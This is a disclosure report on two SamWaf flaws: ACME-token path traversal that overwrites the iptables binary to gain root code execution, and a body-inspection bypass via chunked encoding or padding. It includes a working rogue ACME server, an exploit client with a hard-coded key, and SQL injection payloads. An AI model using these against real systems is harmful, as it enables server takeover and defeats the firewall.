SamWaf Vulnerability Report

Software: SamWaf

Developer or vendor: samwafgo

Code repository: https://github.com/samwafgo/SamWaf

1. Path Traversal in ACME Challenge Files Leads to RCE

Brief description:An attacker with a low-privilege account can point the CA address at an ACME service they control, use ../ in the challenge token to write a file to a chosen path on the server, and then use the firewall feature to execute it.
Affected versions:v1.3.16-beta.13 to v1.3.25-beta.11
Introduced in:SamWaf commit 805265a4
Preconditions:The attacker holds a logged-in account, a read-only auditor is enough, and SamWaf can reach the HTTPS ACME directory controlled by the attacker.

Root Cause

The CA server, certificate order, and firewall block endpoints all sit in the router group that only checks login status:

// wafmangeweb/localserver.go:172,188,192    commit ecea1ddff7
	router.ApiGroupApp.InitSslOrderRouter(RouterGroup)
	...
	router.ApiGroupApp.InitWafCaServerInfoRouter(RouterGroup)
	...
	router.ApiGroupApp.InitFirewallIPBlockRouter(RouterGroup)

caserverinfo/add stores the CA address as received:

// service/waf_service/waf_caserverinfo_service.go:19-36    commit ecea1ddff7
func (receiver *WafCaServerInfoService) AddApi(req request.WafCaServerInfoAddReq) error {
	var bean = &model.CaServerInfo{
		...
		CaServerName:    req.CaServerName,
		CaServerAddress: req.CaServerAddress,
		Remarks:         req.Remarks,
	}
	global.GWAF_LOCAL_DB.Create(bean)
	return nil
}

The certificate order passes this address to lego:

// utils/ssl/ssl.go:80    commit ecea1ddff7
	config.CADirURL = caServerAddress
// utils/ssl/ssl.go:97-103    commit ecea1ddff7
	switch order.ApplyMethod {
	case "http01":
		provider, err := newLoggingWebrootProvider(savePath, order.HostCode)
		if err != nil {
			return order, err
		}
		if err = client.Challenge.SetHTTP01Provider(provider); err != nil {

The webroot is built from the site code:

// wafenginecore/sslorder.go:47    commit ecea1ddff7
		filePath := utils.GetCurrentDir() + "/data/vhost/" + bean.HostCode

lego’s webroot provider concatenates the token returned by the ACME server into the file path:

// providers/http/webroot/webroot.go:35-44    lego v4.30.1
func (w *HTTPProvider) Present(domain, token, keyAuth string) error {
	var err error

	challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))

	err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
	if err != nil {
		return fmt.Errorf("could not create required directories in webroot for HTTP challenge: %w", err)
	}

	err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)
// challenge/http01/http_challenge.go:26-28    lego v4.30.1
func ChallengePath(token string) string {
	return "/.well-known/acme-challenge/" + token
}

The token comes from the ACME server, and filepath.Join normalizes ../, so a token containing ../ moves challengeFilePath outside the webroot. The written content is the keyAuth. Its first two lines can be a shell script, and the last line is the path with ../; exit 0 keeps that line from being executed.

After the write, the firewall block endpoint runs iptables as the server user:

// firewall/firewall.go:47-49    commit ecea1ddff7
func (fw *FireWallEngine) IsFirewallEnabled() bool {
	if runtime.GOOS == "linux" {
		out, err := wafexec.FixStdin(exec.Command("iptables", "-L")).CombinedOutput()

exec.Command looks up iptables through PATH, so a script written to /usr/sbin/iptables runs when the firewall calls it. os.WriteFile replaces only the file content and keeps the mode bits, so the script stays executable after it overwrites the executable that /usr/sbin/iptables points to.

Reproduction Environment

The target runs in a container. The compose file is:

services:
  samwaf:
    build: .
    container_name: samwaf-vuln-app
    ports:
      - "18017:26666"
      - "18018:80"
    volumes:
      - ./conf:/app/conf
      - ./data:/app/data
      - ./logs:/app/logs
      - ./ssl:/app/ssl
    cap_add:
      - NET_ADMIN
    networks:
      - samwafnet

  upstream:
    image: nginx:alpine
    container_name: samwaf-vuln-upstream
    volumes:
      - ./upstream:/usr/share/nginx/html:ro
    networks:
      - samwafnet

networks:
  samwafnet:

The Dockerfile is:

FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates tzdata iptables curl && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY SamWaf /app/SamWaf
RUN chmod +x /app/SamWaf
EXPOSE 26666 80 443
CMD ["/app/SamWaf"]

Build and start it:

git clone https://github.com/samwafgo/SamWaf.git
mkdir -p samwaf-env/upstream
cd SamWaf
git checkout ecea1dd
CGO_ENABLED=1 go build -o ../samwaf-env/SamWaf ./cmd/samwaf
echo '<h1>hello upstream</h1>' > ../samwaf-env/upstream/index.html
cd ../samwaf-env
# save the compose file and Dockerfile above in this directory
docker compose -p samwaf-vuln up -d --build

After startup, data/initial_password.txt holds the initial administrator password. Log in and change it to Admin@12345!. Create a site test.local on port 80 with upstream http://samwaf-vuln-upstream on port 80:

In account management, create auditor with password Auditor@123456! and the audit administrator role, then change its password to Auditor@654321! at first login:

The attacker’s ACME service uses HTTPS. In the lab, a self-signed CA issues the server certificate and is added to the container trust store to stand in for a publicly trusted certificate the attacker would hold:

openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 365 -subj "/CN=SamWaf Test CA"
openssl req -newkey rsa:2048 -nodes -keyout srv.key -out srv.csr -subj "/CN=192.0.2.10"
printf 'subjectAltName=IP:192.0.2.10\n' > san.cnf
openssl x509 -req -in srv.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out srv.crt -days 365 -extfile san.cnf
docker cp ca.crt samwaf-vuln-app:/usr/local/share/ca-certificates/samwaf-test-ca.crt
docker exec samwaf-vuln-app update-ca-certificates

Below, 192.0.2.10 stands for the attacker server address; replace it with the actual one.

Reproduction

The ACME service implements six endpoints: directory, nonce, account, order, authorization, and challenge. The token in the challenge response is the script to be written:

import secrets
import time

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse, Response

BASE = "https://192.0.2.10:8900"
TOKEN = "#!/bin/sh\nid > /tmp/pwned; exit 0\n/" + "../" * 20 + "usr/sbin/iptables"

app = FastAPI()


def nonce():
    return secrets.token_urlsafe(16)


def reply(data, status=200, location=None):
    headers = {"Replay-Nonce": nonce()}
    if location:
        headers["Location"] = BASE + location
    return JSONResponse(data, status_code=status, headers=headers)


@app.get("/directory")
def directory():
    return {
        "newNonce": BASE + "/new-nonce",
        "newAccount": BASE + "/new-account",
        "newOrder": BASE + "/new-order",
        "revokeCert": BASE + "/revoke",
        "keyChange": BASE + "/key-change",
    }


@app.head("/new-nonce")
@app.get("/new-nonce")
def new_nonce():
    return Response(status_code=200, headers={"Replay-Nonce": nonce()})


@app.post("/new-account")
async def new_account(request: Request):
    await request.body()
    return reply({"status": "valid", "contact": []}, 201, "/acct/1")


@app.post("/acct/1")
async def account(request: Request):
    await request.body()
    return reply({"status": "valid", "contact": []})


@app.post("/new-order")
async def new_order(request: Request):
    await request.body()
    return reply({
        "status": "pending",
        "expires": "2030-01-01T00:00:00Z",
        "identifiers": [{"type": "dns", "value": "test.local"}],
        "authorizations": [BASE + "/authz/1"],
        "finalize": BASE + "/finalize/1",
    }, 201, "/order/1")


@app.post("/order/1")
async def order(request: Request):
    await request.body()
    return reply({
        "status": "pending",
        "expires": "2030-01-01T00:00:00Z",
        "identifiers": [{"type": "dns", "value": "test.local"}],
        "authorizations": [BASE + "/authz/1"],
        "finalize": BASE + "/finalize/1",
    })


@app.post("/authz/1")
async def authz(request: Request):
    await request.body()
    return reply({
        "status": "pending",
        "expires": "2030-01-01T00:00:00Z",
        "identifier": {"type": "dns", "value": "test.local"},
        "challenges": [{
            "type": "http-01",
            "url": BASE + "/chall/1",
            "token": TOKEN,
            "status": "pending",
        }],
    })


@app.post("/chall/1")
async def challenge(request: Request):
    await request.body()
    time.sleep(40)
    return reply({"type": "http-01", "url": BASE + "/chall/1", "token": TOKEN, "status": "processing"})


@app.post("/finalize/1")
async def finalize(request: Request):
    await request.body()
    return reply({"status": "invalid", "error": {
        "type": "urn:ietf:params:acme:error:serverInternal",
        "detail": "no",
    }})

Start the service:

uvicorn acme_server:app --host 0.0.0.0 --port 8900 \
  --ssl-certfile srv.crt --ssl-keyfile srv.key

Log in as auditor, add the CA server and the certificate order, then keep calling the block endpoint until the challenge window closes:

import base64
import json
import time
import uuid

import httpx
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

BASE = "http://127.0.0.1:18017"
CA = "https://192.0.2.10:8900/directory"
KEY = b"7E@u*has$d*@s5YX"


def decrypt(value):
    raw = base64.b64decode(value)
    return unpad(AES.new(KEY, AES.MODE_CBC, raw[:16]).decrypt(raw[16:]), 16)


def api(method, path, token=None, body=None):
    headers = {
        "X-Request-Time": str(int(time.time())),
        "X-Request-Id": uuid.uuid4().hex,
    }
    if token:
        headers["X-Token"] = token
    response = httpx.request(method, BASE + path, headers=headers, json=body, timeout=30)
    data = response.json()
    if isinstance(data.get("data"), str):
        data["data"] = json.loads(decrypt(data["data"]))
    return data


token = api("POST", "/api/v1/public/login", body={
    "login_account": "auditor",
    "login_password": "Auditor@654321!",
})["data"]["access_token"]

hosts = api("POST", "/api/v1/wafhost/host/list", token, {"pageIndex": 1, "pageSize": 20})["data"]["list"]
code = next(host["code"] for host in hosts if host["host"] == "test.local")

print(api("POST", "/api/v1/wafhost/caserverinfo/add", token, {
    "ca_server_name": "evilca",
    "ca_server_address": CA,
    "remarks": "demo",
})["msg"])

print(api("POST", "/api/v1/wafhost/sslorder/add", token, {
    "host_code": code,
    "apply_platform": "evilca",
    "apply_method": "http01",
    "skip_dns_verify": 0,
    "apply_dns": "",
    "apply_email": "a@b.com",
    "apply_domain": "test.local",
    "private_group_name": "",
})["msg"])

time.sleep(2)
for _ in range(200):
    api("POST", "/api/v1/firewall/ipblock/add", token, {
        "ip": "203.0.113.98",
        "reason": "demo",
        "block_type": "manual",
    })
    time.sleep(0.25)

The output is:

添加成功
添加成功

The order appears in the management UI:

The application log records the path of the challenge file:

2026-11-16 02:06:17.081	INFO	ACME证书: 文件校验-挑战文件已生成 域名=test.local 路径=/usr/sbin/iptables 可回读=是 实际大小=156 期望大小=156 CA将访问=http://test.local/.well-known/acme-challenge/#!/bin/sh
/../../../../../../../../../../../../../../../../../../../../usr/sbin/iptables

The firewall runs the written file:

[DEBUG] 执行命令: iptables -I INPUT 1 -s 203.0.113.98 -j DROP
[INFO] 成功封禁IP: 203.0.113.98

The result:

$ docker exec samwaf-vuln-app cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

2. Logic Flaw Leads to WAF Bypass

Brief description:An attacker can add Transfer-Encoding: chunked to a request, or pad the request body beyond 2048 bytes, to make SamWaf skip body inspection.
Affected versions:v1.0.128 to v1.3.25-beta.11
Introduced in:SamWaf commit 7be63fc1
Preconditions:None.

Root Cause

Reading the request body is guarded by two length conditions:

// wafenginecore/wafengine.go:271-291    commit ecea1ddff7
		contentLength := sanitizeContentLength(r.ContentLength)
		var bodyByte []byte

		// 拷贝一份request的Body ,控制不记录大文件的情况
		if r.Body != nil && r.Body != http.NoBody && (contentLength > 0) && (contentLength < (global.GCONFIG_RECORD_MAX_BODY_LENGTH) || cacheConfig.IsEnableCache == 1) {
			...
			} else {
				bodyByte, _ = io.ReadAll(r.Body)
				r.Body = io.NopCloser(bytes.NewBuffer(bodyByte))
			}
		}

GCONFIG_RECORD_MAX_BODY_LENGTH defaults to 2048:

// global/config.go:6    commit ecea1ddff7
	GCONFIG_RECORD_MAX_BODY_LENGTH      int64  = 1024 * 2            //限制记录最大请求的body长度 record_max_req_body_length

With chunked transfer, Go sets r.ContentLength to -1 and sanitizeContentLength normalizes it to 0:

// wafenginecore/wafengine.go:1429-1435    commit ecea1ddff7
func sanitizeContentLength(n int64) int64 {
	if n < 0 {
		return 0
	}
	return n
}

contentLength > 0 is therefore false, io.ReadAll never runs, and BODY is set to an empty string:

// wafenginecore/wafengine.go:324    commit ecea1ddff7
			BODY:                 string(bodyByte),

The body is never read, so it is never consumed, and the reverse proxy forwards the original content to the backend. The SQL injection, RCE, directory traversal, and upload checks all take BODY as input, for example:

// wafenginecore/checkrce.go:24-25    commit ecea1ddff7
	isRce, RceName := wafdefenserce.DetermineRCE(weblogbean.RawQuery, weblogbean.URL,
		weblogbean.COOKIES, weblogbean.BODY)

When the body reaches 2048 bytes, contentLength < GCONFIG_RECORD_MAX_BODY_LENGTH is false, and the read is skipped entirely rather than truncated to the first 2048 bytes.

Reproduction Environment

The environment is the same as in section 1. Start a clean instance:

docker compose -p samwaf-vuln down -v
rm -rf data conf logs ssl
mkdir -p data conf logs ssl
docker compose -p samwaf-vuln up -d --build

Log in to the management UI, change the initial password to Admin@12345!, create a site test.local on port 80 with upstream http://samwaf-vuln-upstream, and start it.

Reproduction

First send a SQL injection request with Content-Length as a control:

import http.client

payload = b"id=1' UNION SELECT username,password FROM users-- -"

connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Content-Length", str(len(payload)))
connection.endheaders()
connection.send(payload)
response = connection.getresponse()
print(response.status)
print(response.read(70))
403
b'<!DOCTYPE html>\n <html lang="zh-CN">\n <head>\n     <meta charset="UTF-8'

Send the same payload with chunked transfer:

import http.client

payload = b"id=1' UNION SELECT username,password FROM users-- -"

connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Transfer-Encoding", "chunked")
connection.endheaders()
connection.send(("%x\r\n" % len(payload)).encode() + payload + b"\r\n0\r\n\r\n")
response = connection.getresponse()
print(response.status)
print(response.read(70))
404
b'<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1'

403 is the SamWaf block page, and 404 comes from the backend nginx, which shows the request was allowed through. Padding the body past 2048 bytes gives the same result:

import http.client

payload = b"id=1' UNION SELECT username,password FROM users-- -"
body = b"pad=" + b"A" * 2100 + b"&" + payload

connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Content-Length", str(len(body)))
connection.endheaders()
connection.send(body)
response = connection.getresponse()
print(len(body), response.status)
2156 404